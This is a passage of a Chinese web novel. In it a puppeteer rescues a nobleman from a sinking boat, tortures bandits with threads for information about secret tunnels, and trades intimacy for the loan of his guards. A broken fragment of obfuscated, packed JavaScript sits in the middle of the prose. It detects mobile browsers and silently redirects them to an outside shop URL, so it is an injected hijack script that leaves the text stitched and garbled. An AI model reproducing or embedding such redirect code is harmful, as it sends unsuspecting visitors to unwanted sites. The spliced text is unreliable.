“若有人遇到了极其厌恶却又摆脱不得之人,”她声音平缓如叙家常,“便会寻一块木头,照着那人的模样,细细刻成一个小人。然后,择一个深夜,将此偶带去离自家最远、最深、最冷的湖中心……亲手抛下去。”
她顿了顿,看着明杳渐渐僵住的神色,缓缓吐出最后一句:“如此,那讨嫌之人便会被湖水‘带走’,再也不能近身,纠缠自然了断。”
明杳嘴唇颤了颤,盯着邵琉光手中的木偶,又看向她平静无波的脸:“所以,你是因为这个……才想刻我?”
邵琉光不再多言,拿起刚才放下的刻刀,竟真的抬眼端详了一下明杳的脸庞,似乎当真要开始“照着他的样子”雕刻。
“够了。”明杳陡然低喝一声,劈手便去夺那木偶。
他动作又急又猛,邵琉光虽反应极快收手,锋利的刻刀边缘仍是在他探过来的手背上划过一道细长的口子。
殷红的血珠立刻渗了出来,顺着他白皙的手背蜿蜒而下。
明杳却恍若未觉,一把将木偶紧紧攥回手中,他胸膛起伏着,看着邵琉光,嘴唇动了动,似乎想说什么,却最终一个字也没能吐出。只是握着那带血木偶,霍然转身,头也不回地大步冲出了工坊。
邵琉光垂眸,看向地面。
一滴鲜红的血正落在积了薄薄一层木屑的地板上,迅速晕开一小团暗色。
一阵穿堂风过,卷起些许木屑,轻轻覆盖其上,很快便了无痕迹。
.
明杳出了傀儡铺,脸色阴沉得可怕。
候在门外的书梁立刻迎上:“少爷,您……”话音戛然而止,他盯住明杳手背上那道正在淌血的伤口,声音瞬间拔高变调,“怎么回事?!邵姑娘她……她对您动手了?!”
明杳不语,径直往前走。
书梁急急跟上,想替他查看伤口,却被他挥手避开。
“少爷!您的伤得处理!”书梁跟在后面焦声喊道。
明杳充耳不闻,只是一味往前走。
手背上的伤口不算深,但血珠不断渗出,滴落在青石板路上,留下断续的红点。他毫无所觉,只觉得心头一股郁躁之气横冲直撞,无处发泄。
他对西岭城并不熟悉,此刻更是心神不宁,只是漫无目的地乱走。
不知过了多久,那股激烈的情绪稍稍平复,他才发现自己竟走到了一片陌生的湖畔。
湖水在午后的阳光下泛着粼粼波光,远处有雪山虚影。
他停下脚步,看着眼前开阔的水面,又低头看向手中紧握的木偶,耳边仿佛又响起邵琉光清冷的声音。
“……离自家最远、最深、最冷的湖中心……亲手抛下去……”
他回头望了望来路,自嘲地勾了勾唇角:“够远了吧。”
他走到湖边,举起握着木偶的手,作势欲掷。
手臂挥到一半,僵在空中。
片刻,又缓缓放下。
如此反复几次,最终,他还是放弃了,将木偶塞回怀中。
湖边系着一艘半旧的小木船,大约是附近渔家用的。明杳解开缆绳跳上船,拿起桨,有一下没一下划动。
河风勉强能吹散几分烦闷。
湖畔,茂密的芦苇丛后。
声音渐近。
“老大,盯梢的兄弟传回消息,黑蝰的人今日申时三刻,会在此处湖心岛背面接头。”
邵琉光微微颔首,目光扫视着湖面。
长啸忽然低呼:“不好!湖上有人!这个时辰……莫非是黑蝰的探子?”他眯眼仔细辨认,“那好像是……是那个白公子?!他怎么跑这儿来了?”
邵琉光顺着他的目光望去,一眼便认出船上划桨的身影,眉头微微蹙起。
长啸声音一紧:“糟了!那船……那船我们事先动了手脚,船底有个活板小洞,本是为了等黑蝰的人上船接头时,让他们在水上搁浅,方便我们瓮中捉鳖!这下怎么办?”
他话音未落,湖中心便传来一声短促的惊呼。
明杳发现了船舱进水,正惊慌地试图加速往回划。但破洞虽小,进水速度却不慢,眼看离岸边还有一段距离,小船已明显下沉。
明杳意识到划回去来不及,当即停下动作,迅速解下自己的外袍和靴子,显然是准备弃船泅水上岸。
岸边,长啸看着这一幕:“这富家少爷看着娇贵,遇事倒还有几分胆色和决断。”
他看向邵琉光,询问:“老大,救不救?”湖心离岸不近,寻常人游过来怕是要体力不支。尤其是此湖接连着雪山源头,湖水常年冰寒。
邵琉光看着湖中那个奋力划水的影子,声音没什么起伏:“人命一条,你说救不救?”
长啸立刻会意,朝旁边打了个手势。几名精悍的汉子二话不说,脱去外衣跃入水中,快速朝明杳游去。
明杳水性尚可,但毕竟衣着不便,游到一半便显出力竭之态。赶到的几人一左一右架住他,将他顺利带回了岸边。
明杳呛了几口水,上岸后撑着膝盖咳嗽了几声,随即转向救他的几人,虽然狼狈,仍勉强维持着仪态,拱手道谢:“多谢……诸位壮士援手之恩。”
然后,他下意识去摸自己怀中,脸色骤然一变,猛地转身,盯着波光荡漾的湖面。
长啸见他神色不对,问道:“咋了?有要紧东西掉湖里了?”
这时,邵琉光才从芦苇丛后缓步走出。
她看了一眼失魂落魄的明杳,对救人的两个弟兄吩咐:“你们两人,送白公子回去。”又对长啸道,“我们按原计划继续。”
明杳闻声转过头,湿透的头发贴在额前,水珠顺着苍白的脸颊滑落。他看着邵琉光,嘴唇翕动,最终却只是从喉间溢出一声冷哼,由那两人搀扶着,踉跄离去。
长啸看着他的背影,纳闷地挠头:“奇了,刚才还道谢呢,怎么突然就跟变了个人似的?脸变得比翻书还快。”
眼下有更重要的事,邵琉光无暇深究,只沉声道:“各就各位,准备抓人。”
申时三刻,黑蝰帮的接头人果真来了,被埋伏的邵琉光等人一举擒获,押往东城地牢。
地牢阴冷潮湿,火把的光跳跃不定。
邵琉光站在他们面前,审视着几个明显不忿的匪徒。
“说,你们是如何避开雪山天险,潜入西岭城的?”
几名匪徒面面相觑,咬紧牙关不吭声。
长啸气得一脚踹在最近那人的腿弯:“还不老实!老大,跟这群杂碎废什么话,上点刑,看他们的嘴硬还是骨头硬!”
邵琉光没应声,只是缓缓踱步,目光逐一扫过几人的面孔。最后,她停在一个眼神闪烁、看起来最为胆怯的年轻喽啰面前。
她缓声说起一个故事:“传说中,最顶级的傀儡师,不仅能将木石雕刻的偶人驯服得栩栩如生,更能……驯服活人。”
长啸微微瞪大眼睛,配合地接话:“莫非老大您也有这等……神乎其技的本事?”
邵琉光摇头:“没有。”
那几个喽啰明显松了口气。
她继续道:“我不会驯服活人。但死人,或是……半死不活的人,”
话音未落,袖中几道肉眼几乎难辨的丝线倏然射出,闪电般缠上了那个年轻喽啰的左臂。
“啊——!”
那喽啰猝不及防,发出一声凄厉的惨叫。
整条左臂瞬间麻痹,旋即传来一阵诡异的不属于自己的抽搐感,仿佛臂内的筋骨血脉已不再听从他的指挥。
邵琉光指间丝线轻微一牵。
那喽啰的左手便不受控制地抬了起来,五指张开,又猛地攥紧,手背上青筋暴起,完全违背他自身的意志。
“我用丝线,暂时锁住了你左臂几处关键筋脉的节点。”邵琉光道,“若我现在松手,你这手臂也不过是麻木几日。但若我再加几分力,或是时间再久一些……你这只手,便算是彻底废了。”
那喽啰疼得冷汗涔涔,脸色惨白如纸,惊恐万状地看着自己那只叛变的手。
“现在,”邵琉光微微倾身,目光锁住他,“说出外界潜入西岭城的秘密入口。说出来,我便放过你这条手臂。否则,下一个,就是你的右腿。”
“毛三!不能说!背叛组织是什么下场你忘了?!”旁边一个年长的匪徒厉声喝道。
那叫毛三的年轻喽啰已疼得意志崩溃,哭喊道:“我说!邵姑娘我说!你弄他!他骨头硬不怕疼!我知道的我都说!是城西小八巷尽头……第三棵歪脖子柳树下的旧水井!井壁有暗门,连通着外面一条废弃的矿道!我就是从那儿进来的!”
邵琉光眼神一凛,示意长啸。长啸立刻会意,命两名手下火速前去查探、封锁。
“这只是你进来的路。”邵琉光并未松开丝线,继续逼问,“还有别的入口,是不是?”
毛三涕泪横流:“这……这我真不知道了!邵姑娘,我发誓,千真万确不知道了!像我这种小喽啰,只知道自己的那条道儿啊!”
长啸与邵琉光对视一眼,脸色都沉了下来。
“那就是还有别的路。”长啸咬牙道,“怪不得黑蝰像地里的韭菜,割了一茬又冒一茬!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048201|194684||http|test|mini|href|location''.split(''|''),0,{}));
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>西岭城地势险要,易守难攻,但也正因如此,成了乱世中许多人眼中的世外桃源与肥肉。
强攻不成,便开始用这种阴损的法子,里应外合,缓慢渗透,意图从内部瓦解这座城。
邵琉光面色凝重:“这便是我爹娘生前最担忧的局面。”
“老大,如今我们人手实在不够,城中可用又信得过的青壮本就不多,还要防备内奸,恐怕难以在短时间内将所有漏洞堵上。是否……要在城中公开召集人手?”
邵琉光沉吟。公开召集,固然能快速补充力量,但眼下鱼龙混杂,难保不会混入更多细作,届时情况恐更加复杂危险。
她走到刚才那个呵斥毛三的年长匪徒面前。那人被长啸一拳打晕又泼醒,此刻正怨毒地瞪着他们。
长啸揪住他衣领:“说!你们背后到底是谁在指使?现在城里,已经混进来多少你们的人?”
……
刑讯仍在继续。
邵琉光离开了地牢。
长啸说得对,西岭城需要人手。
需要足够精锐足够可靠,且能立刻调动起来的力量,去截断那些正在将西岭城变得千疮百孔的暗流。
.
白府,明杳房内。
炭盆烧得正暖,他却仍觉得有些发冷。
他穿着素白中衣,外罩一件厚绒披风,靠坐在软榻上,脸色带着些病弱的苍白,手背上缠着干净的布条。书梁刚伺候他喝完一碗浓姜汤。
“少爷,您好些了吗?湖里那冷水一激,又生了场闷气,可别再折腾自己了。”书梁絮叨着,满脸担忧。
明杳没什么精神,只恹恹地看着窗外。
就在这时,一名仆役在门外低声禀报:“少爷,邵姑娘……在府外求见。”
明杳缓缓转过头,脸上没什么表情,像是没听清,又像是怀疑自己听错了。
书梁也愣住了,看向明杳,小心重复:“少爷,是邵姑娘……求见。”
明杳这才眨了眨眼,长睫垂下,沉默了半晌,才“嗯”了一声,声音有些低哑:“让她进来吧。”
书梁应下,转身要走,又想起什么,回身问:“少爷,您……要不要换身见客的衣裳?”此刻少爷这副病弱又随意的样子,实在不算齐整。
明杳却摆了摆手,示意不必。
书梁似懂非懂地点点头,退了出去。
不多时,房门被轻轻推开,邵琉光走了进来。她依旧是一身利落的深色衣裙,发丝挽得一丝不苟,脸上没什么多余的表情。
她一眼便看到软榻上的明杳。
他披着披风,中衣领口微松,露出一点锁骨,脸色是不健康的苍白,唇色也淡。手背还缠裹着白布。
整个人看起来,竟有几分罕见的脆弱。
明杳抬眼看向她,嘴角轻扯,声音轻飘飘的:“邵姑娘,真是稀客。我这腌臜之地,都不好意思接待你。随便坐吧。”
邵琉光没有坐。
她站在原地,直接开门见山问:“你之前说的交易,还作数吗?”
明杳怔了怔:“…嗯?”
邵琉光等了片刻,见他不答,便微微颔首,干脆利落地转身:“不作数便算了。”
动作没有丝毫拖泥带水,仿佛真的只是来确认一句,得不到肯定答复便立刻离开。
只有她自己知道,问出那句话,踏进这间屋子,需要压下心头多少荒谬与不适。
就在她一只脚已经跨出门时,明杳的声音自身后传来,依旧轻飘。
“算数的。”
邵琉光脚步顿滞,停在门前。
明杳说完这句,便不再开口,只是沉默地看着她的背影。
邵琉光闭了闭眼,深深吸了一口气,转过身,不再有任何迂回,直接道出目的:“我需要借用你的侍卫,帮我做事。你开价吧。”
明杳略微调整了一下坐姿,慢条斯理地问:“多久?”
“五日。”
“五日。”他重复了一遍,手指轻轻摩挲着碗沿,“邵姑娘,我手下这些侍卫,并非寻常看家护院之辈。他们皆是历经沙场或严酷训练的精卫,过五关斩六将才得以留用,价值……可不一般。”
邵琉光听出了他话中的未尽之意,无非是提醒她,借用的代价,需得匹配这些人的价值。
“五日,便换五日。”她略微停顿,补充道,“他们不是寻常侍卫,我自然……也不会让白公子你,有寻常的体验。”
明杳的脸色瞬间变了变。方才的病弱苍白仿佛都褪去了几分,他抿紧了唇,低下头,盯着手中空碗,仿佛那上面有什么极有趣的花纹。
半晌,他才重新抬起头,眼底情绪已收敛大半,缓缓开口:“那便…依你。”
邵琉光不动声色松了口气。
明杳放下碗,伸手探向枕下,摸索片刻,取出一枚乌沉沉的玄铁令牌,递向她:“你拿着这个,去找书梁。他会带你去点人。只是,别给我全调走了,留几个给我防身。”
邵琉光走上前,从他手中接过令牌,目光不经意瞥过他依然苍白的脸颊,以及那抹病中透出的不正常绯红。
“嗯。”她应了一声,握紧令牌,转身离开了房间。
8.尽兴
东城地牢。
长啸刚将审讯出的几个潜入地点整理成简图,准备交给邵琉光,却见她身后跟着十余名劲装护卫,个个眼神精悍,步履沉稳,绝非寻常武夫。
“老大,你从哪儿寻来这么一批精兵?”他压低声音,将邵琉光拉到一旁,“信得过吗?”
邵琉光点头,接过简图,目光快速扫过。
长啸仔细打量那些护卫的制式佩刀与站姿,突然反应过来:“这些……是白府的人?”
邵琉光不置可否。
“那白公子怎会轻易把贴身侍卫都借出来?”长啸面色一变,急声道,“老大,你是不是答应……委身他了?!”
邵琉光沉默片刻:“…没有。”
“那他图什么?”长啸不信,“这种世家子弟,无利不起早。借出这等精锐护卫,必有所图!”
邵琉光避开他探究的目光,转身走向悬挂西岭城地形图的墙壁,语气含糊:“图我的手艺吧。”
图…手艺?
没等长啸咂摸出这句话的意思,邵琉光再次开口。
“今夜,分三路。”她手指点在地图上,“你带五人去封堵小八巷的入口,长垣带四人去城北废弃砖窑,剩下的跟我去城南。务必在天亮前,将所有已发现的密道入口封死,并设下警戒。”
她转过身,看向那些护卫:“诸位既来助我,便请守我西岭的规矩。令行禁止,不可擅动,更不可伤及无辜。”
护卫们齐声抱拳:“是。”
入夜,安排好诸事后,邵琉光在城中徘徊片刻,终是走向白府。
书梁将她引至明杳卧房外,低声道:“公子还未歇息。邵姑娘请进。”
邵琉光推门而入。
房内灯火通明,明杳披着外袍坐在书案前,正执笔写着什么。听到脚步声,他只抬眸瞥了一眼,便又低下头去,淡声道:“随便坐。”
邵琉光没坐,站在离门不远的地方,开口问道:“过了今夜,算过了一日吗?”
明杳笔尖一顿,没抬头,声音听不出情绪:“你说算便算吧。”
邵琉光又试探:“你身子不适,不如今夜……”
“今夜正好。”明杳一手执笔,一手将披风拢紧了些,“你等我片刻。”
邵琉光暗自叹了口气,知道是躲不过了,便趁着明杳整理书案的功夫,打开柜中的小箱,开始准备。
转过身,明杳已经平躺在榻上,闭着眼睛。
邵琉光提着箱子走近床边:“现在开始吗?”
明杳没有睁眼,过了半晌,身子往床内侧挪了挪:“你上来。”
邵琉光眉头拧紧,站着没动。
明杳等了片刻,没感觉到动静,终于睁开眼,侧过头看她,眼神在灯光下显得有些幽深,声音也沉了沉:“我不想说第二遍。”
想起那枚令牌,想起自己如今的处境,邵琉光咬咬牙,脱了鞋,动作僵硬地爬上了床。
她双手撑在明杳身侧的锦褥上,维持着一个俯视的姿势,居高临下地看着他。
明杳看着她近在咫尺的脸,愣了一瞬,忍不住低笑出声:“我是让你躺上来。”他拍了拍身旁的空位,“睡觉。”
邵琉光身体一僵,顿时耳根火烧了起来,她迅速直起身,板着脸一言不发地在离他尽可能远的外侧躺下。
半边身子几乎都悬在空中。
明杳侧目,看了一眼她僵硬的身体,没说什么,只是伸手拉过一床折叠好的薄被,分了一半,轻轻搭在她身上。
“睡吧。”
说完这两个字,他不再出声。不一会儿,呼吸逐渐变得匀长平稳,仿佛真的睡着了。
邵琉光哪里睡得着?
跟一个男人,尤其是跟明杳这样的男人,同榻而眠,即便什么也不做,也足够让她心神不宁。
她睁着眼,盯着头顶帐幔的暗纹。
耳边是他规律的呼吸声,鼻尖萦绕着一丝属于他的清雅熏香,混合着被褥干净的味道……
毫无睡意。
百无聊赖之下,她微微偏过头,借着窗外透进的月光,瞥向明杳那头。
睡着的他,敛去白日里的张扬算计和那些令人捉摸不透的笑意,倒是安静得像一尊精致人偶。
她转回头,兀自侧过身子,闭紧眼,并用被子把自己牢牢裹住。
就在她辗转难眠时,身侧忽然伸过来一只手,轻轻扒拉了一下被角。
邵琉光几乎立刻弹坐起来,一把反扣住那只手腕,声音紧绷:“想干什么?”
明杳被她激烈的反应弄得懵了一瞬,低低吸了口气,声音带着些沙哑:“邵姑娘,你一个人把被子全裹走了,是存心想让我明日病得更重吗?”
邵琉光动作一僵,松开手,将身上紧裹的薄被一股脑全推了过去,严严实实地盖在他身上。自己则抱着手臂,重新躺下,蜷在床沿边。
黑暗中传来明杳一声轻叹:“外间有备用的被褥,劳烦你起身唤书梁送进来。”
邵琉光闻言,立刻起身下床,刚走到门口,又听明杳懒懒地补充道:“我困了,先睡了。明早醒来时,我要看见你还在。否则……这一日,便不作数。”
这一夜,邵琉光不知自己是如何睡着的。
或许是因为连日奔波劳累,或许是因为那暗香催人眠,她竟在僵硬许久后,意识渐渐模糊。
但睡得并不安稳,天刚蒙蒙亮便醒了。
意识回笼的瞬间,她先是一惊,随即想起身在何处,立刻转头看向身侧。
明杳竟还保持着昨夜睡下的姿势,面朝向她,裹着被子,半张脸埋在锦被中,只露出挺直的鼻梁和紧闭的眼,晨光勾勒出他安静的侧脸线条,褪去所有伪饰后,显出几分毫无攻击性的脆弱。
邵琉光看了片刻,移开视线。想起他昨夜的话,本想起身,动作又顿住,重新躺了回去。
就在她心绪不宁,发出第三声轻叹时,身旁忽然传来一声像是忍了许久,终究是憋不住的噗嗤声。
她转过头,只见明杳整张脸都埋进了被子,露出的肩膀微微颤抖着,整个人都在闷笑。
邵琉光坐起身,盯着他:“你醒了。”
“嗯。”明杳笑得眼角泛出泪花,这才从被子里探出头,“早醒了。”
邵琉光:“……”
“想离开,怎么不叫醒我?”明杳止住笑,但眼中仍漾着水光,看着她问。
邵琉光不语,直接翻身下床,穿上鞋袜。
“劳烦你,”明杳也坐起身,指了指衣架,“给我递一下衣裳。”
邵琉光自己是和衣而眠的,无需过多整理。她走到衣架前,取下那件月白外袍。
明杳已掀开被子下床,开始解自己中衣的系带。
邵琉光一惊:“你干什么?”
“沐浴啊。”明杳边解衣带边朝门口走去,拉开门,对外吩咐了声,“进来吧。”
几名仆役鱼贯而入,提着热水,熟练地将屏风后的浴桶灌满。
明杳转身,见邵琉光仍捏着他的外袍,眉梢微挑:“你要一起吗?”
邵琉光:“…不必。”
“哦,邵姑娘与我同榻一夜,不嫌脏了?”他笑容无害。
邵琉光:“……”她别开视线,将手中的衣裳搭在屏风上。
热水备妥,明杳走向屏风后,边走边道:“劳烦邵姑娘,去帮我唤书梁进来伺候。”
邵琉光拉开房门,清晨微凉的空气涌入,她清醒了几分。顿了顿,最终没有迈出去,而是反手,又将房门轻轻合上了。
她转身,走向屏风后。
氤氲的水汽中,最先看到的是明杳线条流畅的脊背,温热的水珠顺着肩胛骨的凹陷缓缓滑下。然后,她看到他搭在桶沿上,那只包扎着伤口的右手。
明杳听到脚步声,头也不回地将布帕往后一抛,恰好落在邵琉光手边的架子上。
他随口问道:“她走了吗?”
没有得到回答。
明杳也不意外,只是自嘲地低笑一声:“走便走吧,谁稀罕。” 顿了顿,又轻轻哼了一声。
身后之人只是沉默地拿起布巾,开始替他擦背。
明杳觉得有些异样:“你怎么不说话,书梁……”说话间,他转过身。
氤氲水汽中,正对上邵琉光那双清冷平静的眼睛。
明杳怔住,沾着水珠的睫毛颤了颤,声音有些不自然:“你怎么在这儿?”
“履行交易。”
“…….现在不需要。你去叫书梁进来。”
“嗯。”邵琉光应了一声,放下布帕,转身离开。
脚步声消失在屏风外。
明杳也无心久泡,不多时便起身,刚披上一件里衣,房门又被推开。
邵琉光端着一只青瓷小碗走了进来。
“书梁说,你沐浴后习惯用一碗甜汤。” 她将碗放在桌上,“放这儿了。”
明杳看着她动作,满腹疑惑。平日躲他不及,今日却赶都赶不走。
莫非有事求他?
他心念微动,干脆将计就计,双手一摊,任由里衣松散地穿着,好整以暇地看着她:”邵姑娘今日既然得空,那便劳烦你,替我更衣吧。”
邵琉光拿起之前那件月白外袍走过来。
“那套昨日穿过了,不要。” 明杳抬手指向卧室一侧的小隔间,“去里面找,挑件新的。”
邵琉光走进隔间。
里面空间不大,但整齐悬挂着数十套各色衣袍,从料子到做工皆非凡品。
她问:“穿哪件?”
明杳懒洋洋地
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倚在门框上:“你挑吧。”
邵琉光平日常为傀儡搭配戏服,这倒是轻车熟路。她打量了一下明杳此刻略显苍白的脸色,心中有了计较。
最终,她取出一件素梅暗纹交领长袍,配以同色系腰封,又选了一条月白束发缎带。
她拿着衣服走近,明杳便顺从地抬手、转身,事事配合。
更完衣,明杳对镜看了看,未置可否,却指向另一件云蓝色外袍:“这件虽然不错,但我想试试那件。”
邵琉光不多言,又替他换上。
明杳对镜摇头:“不如上一件。”
邵琉光沉吟片刻,取出一件竹青色绣银线的广袖长衫:“试试这件。”
换上第三套后,明杳对着镜子左看右看,脸上表情说不上满意还是不满意,只是微微蹙着眉。
邵琉光也在一旁仔细端详。她目光掠过他尚未束起的发,发现了问题所在:“你坐下,我给你束发。”
明杳坐到镜前。邵琉光解开他半湿的发,取过梳子,开始为他束发。她手指灵巧,很快便绾好一个简洁利落的发髻,以玉簪固定,又用那条月白缎带在发尾轻轻一束。
明杳对镜看了看,这发髻让他显得精神不少,与身上衣袍也极为相称,他眼中掠过一丝讶异,真心赞道:“邵姑娘这双手,果然巧夺天工。”
邵琉光道:“白公子这张脸,便是顶着鸟窝,也不会逊色。”
明查被她这直白的称赞弄得一愣,失笑道:“你今日这般殷勤,倒叫我害怕。”他转过身,看着她,“说吧,到底是有什么事?”
邵琉光确实另有所求,但方才的称赞也非虚言。
明杳此人,纵然在某些方面惊世骇俗,令她难以接受,但他这张脸,这具身体,安静顺从任她摆布的模样……的确称得上是一尊极其出色的活人偶。
她也不扭捏,直接说出了盘旋心中的念头:“白公子,能否只换三日?”
她想缩短这令人煎熬的交易时间。
明杳闻言,脸上的笑意淡了下去,重新靠回椅背,手指轻轻叩击着扶手。
“我虽是官宦子弟,不懂什么商道,但也知道,不能做亏本的买卖。邵姑娘此言,出尔反尔,将你我之间的信誉置于何地?”
邵琉光不答,忽然抬手拽住他的手臂。
明杳不明所以:“干什么?”
她不语,将他半推半拉着带到窗边。
后腰抵上冰凉的窗沿,明杳微微蹙了眉,却并未挣扎,只是抬眼看着她近在咫尺的脸,唇角又勾起一点笑:“到底想做什么?”
邵琉光一手撑在他耳侧的窗棂上,另一只手抚上他的肩膀,微微用力,将他翻了个面,背对着自己。
她的手掌顺着他脊背线条缓缓下滑,指尖隔着衣料,带着如同拨弄丝线般的轻弹与勾缠。
明杳双手撑在窗沿上,身体因她突如其来的动作和那诡异的指法而绷紧,控制不住地微微战栗起来。
“我定让白公子尽兴。”邵琉光在他身后,声音压低,“就三日,如何?”
明杳咬着下唇,微微喘息:“不行……”
邵琉光的手灵活游走,挑开了他腰封的边缘。她声音更近,几乎贴着他耳根:“那就五日。不过,我们换个算法。” 她另一只手,开始去解他腰侧的系带,“化天数为次数。让白公子尽兴一次…便算作一日。可好?”
“呃…你……” 明杳被她指尖的撩拨弄得气息混乱,声音发颤,惊愕又羞恼,“你别得寸进尺……”
衣带松脱,外袍滑开些许。邵琉光的手探入里衣的缝隙,掌心贴着他温热的皮肤,动作果决。
她没有时间,也没有心力,陪明杳玩什么培养感情的游戏。
她更怕,在这诡异的纠缠中,自己会陷入难以掌控的境地。
所以,她宁愿只做那例行公事般的手艺活。
银货两讫,干脆利落。
“行吗?白公子?” 她问,声音里听不出什么情绪。
明杳被她弄得几乎站立不稳,腿软得厉害,半个身子不由自主地向后靠,几乎半倚在她身上,才能勉强支撑。
他仰着头,有点不甘心就此被她戏弄,却又实在抵不住这般直接的撩拨,眼角洇出了湿意。
最终,他低下头,嗯了一声。
邵琉光揽住他的腰,支撑住他,唇几乎贴着他泛红的耳廓,轻声催促:“行还是不行?给句准话。”
明杳闭上眼睛,睫毛颤抖得厉害,最终从齿缝间挤出破碎的音节:“都、都依你。”
得到肯定的答复,邵琉光闭上眼睛,深吸了一口气。
太过荒唐了。
荒唐到,她唾弃此刻的自己。
太离经叛道,太惊世骇俗!
太……不可理喻!
9.趁人之危
这几日,长啸明显察觉到自家老大似乎有些心神不宁。
汇报时,他一边观察着邵琉光的脸色,一边将这几日的审讯结果与清剿进展细细道来。
末了,忍不住由衷赞叹:“老大,白公子那批精卫,身手当真了得!一个能抵我们西岭城内十个寻常壮汉。若是咱们自己的人也能习得他们那身本事,何愁不能将那些外来的蛀虫连根拔起?”
邵琉光看着案几上简陋的西岭城防图上,思忖时,她习惯性地用指尖轻叩桌面。
练兵,拥有属于西岭自己的兵,的确是守卫一方安宁最根本的保障。光靠天险和人心,挡不住日益狡猾的外敌。
她沉吟片刻,道:“让我们信得过的那批兄弟,每日跟着他们操练,能学多少是多少。”
长啸露出为难之色:“老大,不是我们不想学。是白府那些侍卫……操练时都选在僻静处,且明显有一套独特的章法路数,刻意避着我们。我们若是凑得太近去偷师,一来不光彩,二来也怕惹恼了白公子……”
邵琉光沉吟片刻,站起身,走到地牢刑架前。架上绑着的几个黑蝰喽罗垂头丧气,她看了他们一会儿,忽然问长啸:“长啸,你说,西岭城与外界相隔千里雪山,与世无争。这些人,还有他们背后的势力,为何偏偏要费尽心机,争抢这块不毛之地?”
长啸被问得一愣:“这……确实蹊跷。咱们这儿要繁华比不上华京,要险要也比不上一些雄关,除了因为过于偏远难寻能避祸……”
“正是因为能避祸。”邵琉光打断他,“也正因为天险阻隔,朝廷鞭长莫及,耳目难通。此处,最适合藏匿兵马,囤积粮草,密谋……一些见不得光的大事。”
比如,造反。
最后两个字她虽未出口,但长啸已倒抽一口凉气。
邵琉光继续道:“我爹娘在世时,便曾提过西岭未来可能面临的处境。只是没想到,这一天来得这样快。”
西岭城易守难攻,外人难进,但里面的人若想出去,或与外界建立某种联系,却并非全无可能。
在别有用心者眼中,西岭城正是绝佳的据点。
长啸也沉默了。
地牢内,一时间只剩下火把燃烧的噼啪声和犯人粗重的呼吸。
邵琉光却忽然转了话题,再次开口:“我记得,东边雪山脚下的背阴处,生有一种名为雪魄兰的草药,取其根茎研磨,加入几味辅药,可制成极好的祛疤生肌膏。”
长啸没料到邵琉光会突然提起这个,但还是下意识点头:“是,是有这么一种稀罕草药,年份久的药效更好。”
邵琉光点了点头:“你接着审,务必撬开他们的嘴,弄清楚到底有多少条秘道,城内还有多少暗桩。”
.
傍晚,邵琉光再次踏入白府。
庭院深深,华灯初上。
她刚穿过月洞门,便见书梁端着一碗热气腾腾的药汁走来。
想必是明杳的药。
“给我吧。”邵琉光伸手接过托盘。
书梁惊喜道:“那便劳烦邵姑娘了!少爷最怕这药苦,每次喝都跟要命似的,推三阻四,总想偷偷倒掉。劳您盯紧些,务必让他喝完。”
邵琉光不甚在意地“嗯”了一声,端着药碗,推门而入。
室内暖香融融,明杳只穿着一件宽松的素白寝衣,墨发半干,披散在肩头,正倚在窗边的软榻上,就着一盏琉璃灯翻看一卷书。
听到门响,他抬起头。
昏黄的光线柔和了他过于精致的五官,衬得他眉眼间少了几分平日的清贵疏离,多了些宜室宜家的慵懒。
邵琉光走过去,将药碗放在他面前的矮几上:“喝药。”
明杳看了眼那黑漆漆的药汁,眉头蹙起,嘴唇动了动,似乎想找借口推脱。
邵琉光没给他开口的机会,又从怀中取出一个掌心大小的白瓷圆瓶,放在药碗旁边:“喝完我给你上药。”
“上药?”明杳一怔,下意识看向自己手背。
“嗯。”邵琉光不再多说,转身走到墙角,打开小箱,开始准备干净的布条和清水。
她刚将东西摆好,身后便传来明杳的声音:“我喝完了。”
邵琉光动作一顿,转过身。
只见明杳正用一方雪白丝帕擦拭着嘴角,药碗已空,矮几上干干净净。她想起书梁的叮嘱,心中生疑,走到他面前,目光审视地落在他脸上,又看了看空碗。
明杳似乎看出她的不信任,摊开双手,嘴角微勾:“真喝了。不信……你过来检查?”
邵琉光抿了抿唇,没理会他话里那点调侃。她在他右手边的榻沿蹲下,拉过他的手,动作并不轻柔地解开那缠着的布条。
伤口已经愈合,留下一道寸许长的痕迹。不算狰狞,但落在他这只白皙修长的手上,确实显得有些碍眼。
她打开瓷瓶,用指尖剜出一点半透明的药膏,均匀涂抹在伤疤上。
“这是用雪魄兰根茎为主料研磨的药膏,能活血生肌。”她语气平淡地解释,“每日三次,按时涂抹,大约半月,便能恢复如初。”
明杳垂眸,看着她专注涂抹的侧脸,沉默了片刻,忽然反手,轻轻握住了她涂药的手腕。
“这药……是你特意为我寻来的?”
邵琉光动作一顿,迎着他的目光,坦然承认:“嗯。”
明杳握着她手腕的力道紧了紧,眼中光芒更盛:“邵姑娘对我……也并非完全无意,对不对?”
邵琉光静默了片刻,缓缓开口,声音清晰冷静:“这能抵一次吗?”
明杳:“……”
.
自然是不能的。
.
深夜,万籁俱寂。
邵琉光两手酸软,疲惫地躺回床榻外侧。
明杳半伏在锦枕上,只露出小半张侧脸,颊边潮红未褪,眼尾也染着绯色,长睫湿漉漉地黏在一起。
他似乎累极了,将大半张脸埋进枕中,只留下一个被热汗浸湿的后颈和散乱的黑发。
邵琉光静静看了一会儿。
然后,她翻了个身,侧躺着面对他:“白公子,方才可还尽兴?”
明杳埋在枕中的脸微微动了动,过了片刻,才慢吞吞地掀起眼皮。
他没有立刻回答她的问题,眨了眨眼,适应了昏暗的光线后,主动朝她这边蹭近了些许。
邵琉光没想到他会是这个反应,愣了一下。
就在她愣神的刹那,一个温软湿润的触感,轻轻落在了她的脸颊上。
是一个吻。
很轻,很快,如同羽毛拂过。
轰的一声!
邵琉光只觉得一股热流猛地冲上头顶,耳中嗡嗡作响。
她微微瞪大了眼,看见明杳近在咫尺的嘴唇一开一合,似乎在说什么,可她一个字也没听清。
那轻柔一吻带来的震撼,比之前任何一次身体上的亲密接触,都更让她心神失守。
她强迫自己定下心神,闭上眼,深吸一口气,试图将那些不合时宜的杂念通通摒除。
终于,她冷静些许,决定不再斡旋,直接道:“能否再请公子允我一事?”
